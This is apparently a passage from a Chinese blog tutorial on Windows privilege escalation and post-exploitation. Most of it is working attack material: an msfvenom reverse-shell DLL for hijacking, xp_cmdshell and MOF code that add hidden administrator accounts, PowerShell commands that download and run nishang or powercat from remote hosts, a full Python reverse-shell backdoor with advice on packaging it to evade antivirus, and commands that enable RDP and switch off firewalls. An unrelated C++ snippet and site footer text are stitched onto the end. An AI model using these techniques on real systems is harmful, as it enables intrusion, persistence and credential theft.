2345看图王核心服务 2345PicSvc C:\Program Files(x86)\2345Soft\2345Pic\protect\Pic_2345Svc.exe Auto

2345王牌输入法核心服务 2345PinyinSvc C:\Program Files(x86)\2345Soft\2345Pinyin\5.8.1.7232\Protect\Pinyin_2345Svc.exe Auto

看到服务器存在空格,路径可写即存在漏洞

2、如果C盘可写,将后门文件改名为Program.exe上传即可

在这里插入图片描述

kali开启监听后,目标机系统再关机重启,开机后启动该服务(有空格的服务)的时候就会获取系统权限

在这里插入图片描述

在这里插入图片描述

记得在metasploist 中设置 自动迁移进程 ,不然会连接就断开

set AutoRunScript migrate -f
4.攻击思路

就是找出服务中,既存在空格路径,还没有用双引号括住的路径(可写)。然后制造误会,让服务启动错误的程序,即可拿到system的shell…

5.3 注册键AlwaysInstallElevated提权
1.描述

允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。 windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe原理:是因为用户打开了windows installer 特权安装功能

2.漏洞复现

1、运行gpedit.msc打开组策略编辑器,计算机和用户配置两个都要开启“始终以提升的权限进行安装”

在这里插入图片描述

在这里插入图片描述

也可以使用命令行修改注册表

reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

2、使用PowerUp检测注册表是否有设置 如果返回true证明可以利用

PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.100.102/PowerUp.ps1'); Get-RegAlwaysInstallElevated

在这里插入图片描述

注意:iis_user组用户权限较低,在webshell中返回false。因为普通用户是有权限读取这些信息的,iis用户没有权限读取这些

在这里插入图片描述

在这里插入图片描述

3、上传COMahawk64.exe文件到 C:\ProgramData目录,执行即可获取一个系统的账号和密码

在这里插入图片描述

在这里插入图片描述

3.漏洞修复

禁用注册表键AlwaysInstallElevated。

5.4 自动安装配置文件提权
1.漏洞描述

网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码

2.漏洞复现

1、在webshell上执行如下命令,搜索Unattend.xml文件

dir /b /s c:\Unattend.xml

在这里插入图片描述

2、打开该文件

/c type c:\Windows\Panther\unattend.xml

在这里插入图片描述

Unattend.xml文件是使用了base64对管理员的密码进行编码的

在这里插入图片描述

也可以使用msf的 post/windows/gather/enum_unattend模块对这个配置文件扫描

在这里插入图片描述

5.5 本地dll劫持提权

DLL是Dynamic Link Library的缩写,意为动态链接库DLL是一个包含代码和数据的可执行文件,可以被多个程序同时使用,从而提供了代码重用和模块化的优势。与静态链接库(Static Link Library,简称.lib文件)不同,DLL文件是独立的,不需要被链接到一个程序中去,而是在运行时被动态加载。

DLL的主要优点包括:

  1. 代码重用:多个应用程序可以同时使用一个DLL文件,这有助于减少内存占用和提高系统效率。
  2. 模块化:DLL允许开发者将特定的功能封装在一个独立的模块中,这样可以更容易地进行更新和维护。
  3. 节省内存:当多个应用程序使用同一个DLL时,该DLL在内存中只加载一次,从而节省了内存资源。
  4. 扩展性:DLL为应用程序提供了一种方便的扩展机制。例如,一个游戏程序可能会使用DLL来实现不同的游戏模组。

然而,DLL也有一些潜在的缺点,比如版本冲突、依赖性问题以及安全风险。因此,在使用DLL时需要谨慎处理这些问题。

在Windows操作系统中,DLL文件通常以“.dll”作为文件扩展名。许多Windows应用程序都依赖于DLL文件来执行某些功能。例如,常见的DLL文件包括用于图形渲染的“opengl32.dll”和用于网络通信的“ws2_32.dll”。

1.漏洞原理

Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录(Current Working Directory,CWD)
6、在PATH环境变量的目录(先系统后用户)

这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。

2.漏洞复现

程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。

攻击过程:收集进程加载的dll——>制作dll木马并上传——>替换dll——>启动应用后成功

1.收集进程加载的dll

使用火绒剑分析该进程执行时加载了哪些dll

在这里插入图片描述

系统文件一般我们是更改不了的,所以一般选择未知文件和数字签名文件

2、制作dll木马并上传

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.102 lport=8888 -f dll > libcurl_x86.dll    #生成dll文件

在这里插入图片描述

3、替换原来的dll

在这里插入图片描述

4、kali开启监听后,目标机启动应用

在这里插入图片描述

6、第三方提权

除了系统自带的服务外 ,安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。

sqlserver提权
1.描述

如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定是系统权限,还要看管理员一开始安装sqlserver的权限设置,一般情况是system权限或者pulic,均能执行命令

2.敏感文件
web.config
config.asp
conn.aspx
database.aspx
3.复现

使用mssql连接工具或者webshell net提权脚本输入账号和密码连接

开启xp_cmdshell

#开启xp_cmdshell
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

#增加一个用户
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add' 

Exec master.dbo.xp_cmdshell 'systeminfo'

在这里插入图片描述

在这里插入图片描述

查看当前权限也是一个普通用户。可以执行一些基础的命令,可以上传溢出提权工具,再来提高当前用户的权限。 有些时候是一个系统权限,主要还是要看目标管理员在开始安装sqlserver的时候给的是什么样的权限。

权限不足,无法添加用户,如下

在这里插入图片描述

mysql UDF提权
1.描述

udf 全称为’user defined function’,意思是’用户自定义函数’。用户可以对数据库所使用的函数进行一个扩展(windows利用dll文件,linux利用so文件),那么我们就可以利用这个特点,往MySQL里面添加一个可以执行系统命令的函数即可。

注:对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀微dll,c语言编写

要利用UDF进行提权,通常需要具备对数据库的root权限或者具有足够高权限的用户

以下是利用UDF提权的基本步骤:

  1. 获取足够权限的账号。
  2. 上传一个包含恶意代码的UDF库文件到服务器。
  3. 在MySQL中创建一个UDF,使用恶意代码。
  4. 创建一个调用这个UDF的函数,以执行提权操作。
2.插件目录

可以使用语句查询plugin插件目录

show variables like "%plugin%"

在这里插入图片描述

3.复现

1、在网站上寻找mysql服务的连接账号和密码

2、上传提权脚本到网站目录

在这里插入图片描述

3、填写mysql的账号和密码后,导出udf

注意导出udf的目录是需要存在的,即C://phpStudy/MySQL/lib/plugin这个目录存在。否则会导出失败

在这里插入图片描述

4、创建udf函数

在这里插入图片描述

在这里插入图片描述

可以看到是系统权限,有了这个权限便可以去添加管理员账户了。

4.mysql提权问题

1、版本有32 和64位的mysql, 创建函数的方法一样,但是64版本的要用64的udf.dll

2、错误提示:The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

这种是mysql默认设置是不允许导入导出,需要在my.ini添加 secure-file-priv = 保存重启mysql即可

在这里插入图片描述

也可以sql命令检查

SELECT @@global.secure_file_priv

在这里插入图片描述

3、错误提示:Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll

这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够

mof提权

一般做权限维持比较多,可用来提权的情况非常少

1.原理

MOF提权是一种利用‌Windows系统中‌MOF文件(Managed Object Format)的特性进行提权的攻击方法。MOF文件是Windows系统中用于定义和管理WMI(Windows Management Instrumentation)对象的一种格式,它允许系统每隔一段时间自动执行一次MOF文件中的脚本,通常每隔5秒执行一次。这种特性被攻击者利用,通过将恶意脚本写入MOF文件,使其以系统权限执行,从而达到提权的目的

其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数是cmd的添加管理员用户的命令。

2、利用条件
  • 操作系统版本低于Windows 2008。
  • mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  • secure-file-priv参数不为null
3、影响版本

windows 03及以下版本

4、复现

公开的nullevt.mof利用代码

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
	EventNamespace = "Root\\Cimv2";
	Name = "filtP2";
	Query = "Select * From __InstanceModificationEvent "
		"Where TargetInstance Isa \"Win32_LocalTime\" "
		"And TargetInstance.Second = 5";
	QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
	Name = "consPCSV2";
	ScriptingEngine = "JScript";
	ScriptText =
	"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user
moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\")";
};

instance of __FilterToConsumerBinding
{
	Consumer = $Consumer;
	Filter = $EventFilter;
};

1、修改mof.php文件中的参数

在这里插入图片描述

2、把mof.php脚本上传到网页目录,如下

在这里插入图片描述

3、填写命令,增加一个管理员用户

net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add

在这里插入图片描述

在这里插入图片描述

G6FTP提权

windows提权之ftp提权 (mamicode.com)

1.描述

G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。

2.原理

G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端口转发(使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向))。

netstat -ano 查看G6fp端口

在这里插入图片描述

3.复现

1、在webshell访问配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini

在这里插入图片描述

2、cmd5破解管理员密码

在这里插入图片描述

3、查找该网站的可读可写目录,然后上传cmd.exe和lcx.exe到该目录下

4、使用端口转发工具把8021端口转发出来

lcx.exe -tran 2333 127.0.0.1 8021

在这里插入图片描述

在这里插入图片描述

5、在攻击机上安装g6ftp,以管理员用户登入,连接上服务端进行设置,如下

在这里插入图片描述

创建用户并设置权限,选择根目录为c盘:

在这里插入图片描述

6、将以下添加管理员命令保存为bat文件,上传到目标上,在设置里选择执行

或者直接将下面命令

net user moon QWEasd123 /add && net localgroup administrators moon /add

在这里插入图片描述

6、登录ftp执行 quote site ADD 但是失败了

在这里插入图片描述

7、换个思路,利用自启动提权,将后门文件上传到目标系统的C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录下,系统重启时会自动执行该后门文件

在这里插入图片描述

在这里插入图片描述

到C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录下,上传后门文件。kali开启监听,目标机重启后拿到shell权限,如下

在这里插入图片描述

7、绕过uac提权 bypassuac
1.描述

UAC(User Account Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

在这里插入图片描述

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)

2.复现
bypassuac模块绕过uac

使用msf搜索 uac模块

在这里插入图片描述

通常使用 bypassuac模块 一般是可以绕过的 也不排除失败的可能

如下,getsystem和hashdump都因为UAC导致失败。通过进程注入使可信任发布者证书绕过Windows UAC

在这里插入图片描述

use exploit/windows/local/bypassuac
set session 1
run

在这里插入图片描述

在这里bypassuac失败

使用bypassuac_injection模块进行bypass
exploit/windows/local/bypassuac_injection

1.描述

此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭UAC标志的第二个shell。此模块使用反射DLL注入技术,仅丢弃DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构x64(也适用于SYSWOW64系统)。如果指定EXE::自定义DLL应在单独启动有效负载后调用ExitProcess()

2.过程

use exploit/windows/local/bypassuac_injection
set session 1
run

在这里插入图片描述

如果使用hashdump出现这些错误信息

[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 9d0056b2b80f84cdc01549df87d34515...
[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError
stdapi_registry_open_key: Operation failed: Access is denied.
[-] This script requires the use of a SYSTEM user context (hint: migrate into
service process)

在这里插入图片描述

迁移进行到x64进程即可哈希。这个哈希的作用,我在内网横行篇里再跟详细说。

在这里插入图片描述

Window提权相关

cmd执行没反应

如果开启 wscript.shell, cmd执行没反应,大概是当前的用户无法执行系统目录下的cmd,这个时候可以上传或者远程下载cmd到可写可执行目录

在这里插入图片描述

在这里插入图片描述

上传成功之后 把路径填写进来执行 也是可以执行命令 如果上传出错显示 缺少对象 那是因为服务器上传的文件大小超出了

在这里插入图片描述

这个时候可以选择webshell后门里的远程下载功能 下载远程cmd到本地指定目录

在这里插入图片描述

反弹shell

反弹shell是使用工具或者脚本 从服务器主动连接攻击者客户端,是从内部向外部通信,所以能穿透防火墙,防火墙一般只对进来的流量进行拦截,并不对主动出去的流量进行拦截,所以反弹shell可以很多的逃逸防火墙,另外反弹shell是交互shell,通信是交互的,所以能执行的命令更多,而且没有超时限制,可以从受害者的服务器上下载,更多的资料。

nc反弹shell

攻击者监听

nc -lvnp 8080

上传nc到服务器 ,然后在服务器上执行nc

/c C:\Windows\debug\WIA\nc.exe -e c:\windows\system32\cmd.exe 192.168.100.102 8080
#这个指令的意思就是通过nc将/bin/bash这个shell反弹给192.168.100.102这个主机,192.168.100.102这个主机上执行 nc -lvnp 8080 或者 nc -vv -l -p 8080 即可,端口的话其实随便写,只要不冲突就行

在这里插入图片描述

powershell反弹cmd

powercat是netcat的powershell版本

下载地址 https://github.com/besimorhino/powercat

powershell IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); 
powercat -c 192.168.1.4 -p 9999 -e cmd

这个网默认是被墙的,所以可以将powercat放在可被访问的远程服务器上。执行命令的时候,自动下载执行。

攻击者监听 nc -lvnp 8888

将powercat下载到攻击者服务器上,kali开放一个web 服务器,如下

pyhton3 -m http.server 80

在这里插入图片描述

在webshell上执行命令

/c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.100.102/powercat.ps1');powercat -c 192.168.100.102 -p 8888 -e cmd

在这里插入图片描述

nishang反弹shell

Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

Reverse TCP shell

攻击者(192.168.100.102)开启监听:

nc -lvnp 6666

目标机执行:(国内访问不到)

powershell IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

或者在自己搭建的服务上下载

powershell IEX (New-Object
Net.WebClient).DownloadString('http://192.168.100.102/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.100.102 -port 6666

在这里插入图片描述

Reverse UDP shell

攻击者监听: nc -lvup 53 注意这里是u,表示udp,p表示端口,l表示监听模式,v表示详细输出

webshell执行:

powershell IEX (New-Object
Net.WebClient).DownloadString('http://192.168.100.102/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.100.102 -port 53

在这里插入图片描述

python反弹cmd shell

使用python编写反弹shell,如果目标支持python3可以脚本直接执行即可

如果遇到杀软,可以生成exe的版本,很好的逃逸杀软

import asyncio
import socket
import argparse

parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter,
						description="############### 			pycat
	###############\n" \
												" Windows Reverse TCP
		backdoor\n"
												"Usage: python pycat.py --host
netcatIP --port PORT\n\n" \
												"Demo: youtube.com/watch?
v=3sMhHL6c68E\n"\
												"GitHub:
github.com/danielhnmoreno/pycat\n" \
												"Contact: contato@bluesafe.com.br")
parser.add_argument('--host', action = 'store', dest = 'host', required = True,
help = 'Host listening for reverse connection')
parser.add_argument('--port', action = 'store', type=int, dest = 'port', required
= True, help = 'Port')

arguments = parser.parse_args()

HOST = arguments.host
PORT = arguments.port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

async def shell():
	while 1:
		proc = await asyncio.create_subprocess_shell("cmd",
		
stdin=asyncio.subprocess.PIPE,

stdout=asyncio.subprocess.PIPE,

stderr=asyncio.subprocess.STDOUT)
	cmd = b"\n"
	proc.stdin.write(cmd)
	
		while 1:
			while 1:
				out = await proc.stdout.readline()
				break_ = out.decode("latin-1")
				if break_[-2:] == ">\n" or break_[-3:] == "> \n":
					s.send(out[:-1])
					break
				elif break_.endswith(">" + cmd.decode()) or break_.endswith("> "
+ cmd.decode()):
					pass
				else:
					s.send(out)
			cmd = s.recv(1024)
			cmd_ = cmd.decode()
			if cmd_ == "\n":
				proc.stdin.write(b"\n")
			elif cmd_.startswith("exit"):
				proc.terminate()
				break
			else:
				proc.stdin.write(cmd + b"\n")
				
asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy())
asyncio.run(shell())

攻击者监听 nc -lvnp 6666

被控端执行 python pycat.py --host 192.168.100.102 --port 6666

在这里插入图片描述

在这里插入图片描述

目标上没有安装python 可以使用命令打包成exe再上传到目标机器执行

pyinstaller -Fw pycat.py  #生成pacat.exe文件

在这里插入图片描述

在这里插入图片描述

攻击者监听 nc -lvp 6666

被控端执行

/c C:\dist\pycat.exe --host 192.168.100.102 --port 6666

在这里插入图片描述

若exe文件较大直接上传不了,攻击机开启服务器 ,将exe程序放到攻击机中,目标机可直接下载上传,如下

在这里插入图片描述

交互shell和非交互shell

交互shell

交互shell就是shell等待你的输入,并且立即执行你提交的命令。

这种模式被称作交互式是因为shell与用户进行交互。

这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当签退后,shell也终止了。

需要进行信息交互,例如输入某个信息 会返回信息 你需要对其输入内容,输入会执行命令。

例如 cmd 终端 msf反弹后门shell nc反弹shell 这些都属于交互shell

非交互shell

shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。

在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。

在这里插入图片描述

lcx端口转发

描述

lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389端口。

lcx指令
[option:]
-listen <ConnectPort> <TransmitPort>
-tran <ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>
本地转发
原理

本地转发主要是把127.0.0.1:端口 这个本地端口 转发到外部 让外部的客户端允许连接进来

例如想发mysql端口转发出来

客户端–>3307->127.0.0.1:3306

在这里插入图片描述

在这里插入图片描述

实例操作

在目标机上或webshell中执行下面代码

lcx.exe -tran 3307 127.0.0.1 3306

在这里插入图片描述

攻击机知道mysql的账号和密码直接连接即可

mysql -uroot -proot -h192.168.100.103 -P 3307

在这里插入图片描述

远程转发
原理

远程转发 一般用于外网无法访问内网,内网可以访问外网,由内部发出请求到外网,所以防火墙不会拦截

客户端除了可以在本地访问内网机子,也可以作为中间人,外部机子也能连接客户端到内网服务端。

在这里插入图片描述

实例操作

首先服务端开启防火墙,客户端是远程连接不上服务端的,如下

在这里插入图片描述

客户端执行

lcx.exe -listen 51 2333

在这里插入图片描述

服务端执行

lcx.exe -slave 192.168.100.104 2333 127.0.0.1 3389

在这里插入图片描述

客户端使用远程终端连接本地 127.0.0.1:51 ,即登录3389端口的远程终端

在这里插入图片描述

在这里插入图片描述

攻击者远程连接客户端即可访问服务端的3389端口

192.168.100.101:51

在这里插入图片描述

在这里插入图片描述

远程终端问题集锦

描述

远程终端的默认端口是3389 云vps一般会开启 没有启用的情况下,在较高的权限下可以使用注册表命令进行开启。

在这里插入图片描述

注册表开启远程终端命令

2.1 2008 2012 2016 开启3389

可以将下面代码全部存入1.bat文件中,在webshell中执行该脚本即可(需要webshell权限较高)

echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

2.2 MSF命令开启3389端口

meterpreter > run getgui -e

2.3 一条命令开启3389

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

2.4 WMIC命令开启3389端口

Win2003/Win7/Win2008/Win8.1/Win10/2012/2016(1:ON、0:OFF)

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。

2.5 WMIC开启远程主机3389端口

需要账号密码

支持系统:

Win2000/XP/Win2003

wmic /node:192.168.0.103 /user:administrator /password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

支持系统:

Win7/Win2008/Win8.1/Win10/2012/2016

wmic /node:192.168.0.116 /user:administrator /password:betasec RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1

wmic /node:192.168.0.116 /user:administrator /password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

注意事项:

其实就是利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。

WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。

错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。

查询是否开启3389(0x0为On 0x1为OFF)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

在这里插入图片描述

注册表查询端口号
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\

查看PortNumber字段

在这里插入图片描述

在这里插入图片描述

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s   
或
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDPTcp" /v PortNumber

set /a Port=0xd3d

在这里插入图片描述

通过网络命令查询端口

由进程–>端口号

tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"

net start |find "Remote Desktop Services"  #即使3389开启,该服务如果关闭,也是远程连接不上

在这里插入图片描述

关闭防火墙

确定开启了远程终端并且端口没错的情况下,还是连不上目标,目标上的防火墙可能开启,这个时候可以使用lcx端口转发,或者使用命令关闭防火墙

netsh advfirewall show allprofile state 查询状态

netsh advfirewall set allprofiles state off 关闭防火墙

net stop "Windows Firewall" 关闭防火墙

sc config sharedaccess start= disabled 禁用防火墙

net stop sharedaccess 关闭防火墙

在这里插入图片描述

关闭ipsec

在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败

可以使用命令 net stop "IPsec Policy Agent"

终端连接错误方法

在这里插入图片描述

在这里插入图片描述

可以使用相同版本的终端进行连接,或者在kali中使用 xfreerdp连接

sudo apt install freerdp2-x11

sudo apt-get update  #安装失败的话便更新一下最新的软件包列表

xfreerdp /f /u:administrator /p:123456 /v:192.168.100.103

在这里插入图片描述

完成后直接连接上远程桌面

用户加入远程桌面组

用moonsec用户作为远程桌面连接的凭据时,会出现以下错误

在这里插入图片描述

在这里插入图片描述

net localgroup "Remote Desktop Users" moonsec /add    #加入远程桌面组

在这里插入图片描述

在这里插入图片描述

终端超出最大连接数

终端超出最大连接数时可用下面的命令来连接

mstsc /v:ip:3389 /console
在 Win32 环境下,封装提权方法可以通过编写封装函数简化提权操作过程。以下是一个单的示例代码演示了如何封装提权的方法: ```cpp #include <Windows.h> #include <iostream> bool ElevatePrivileges() { bool success = false; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES tokenPrivileges; tokenPrivileges.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tokenPrivileges.Privileges[0].Luid); tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { success = true; } CloseHandle(hToken); } return success; } int main() { if (ElevatePrivileges()) { std::cout << "提权成功!" << std::endl; } else { std::cout << "提权失败!" << std::endl; } return 0; } ``` 上述代码中的 `ElevatePrivileges` 函数封装了提权操作。它使用 `OpenProcessToken` 函数打开当前进程的访问令牌,并调用 `AdjustTokenPrivileges` 函数将 `SE_DEBUG_NAME` 特权启用。如果提权成功,函数返回 true;否则返回 false。 在 `main` 函数中,我们调用 `ElevatePrivileges` 函数来尝试提权,并根据返回值输出相应的结果。 需要注意的是,该示例仅针对一种特权(`SE_DEBUG_NAME`)进行提权,并且仅用于演示目的。在实际应用中,可能需要根据具体的需求和特权列表来调整代码,并进行错误处理和适当的权限检查。此外,提权操作可能涉及到系统安全和权限管理,应仅在必要时使用,并且遵循相关的安全准则和最佳实践。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值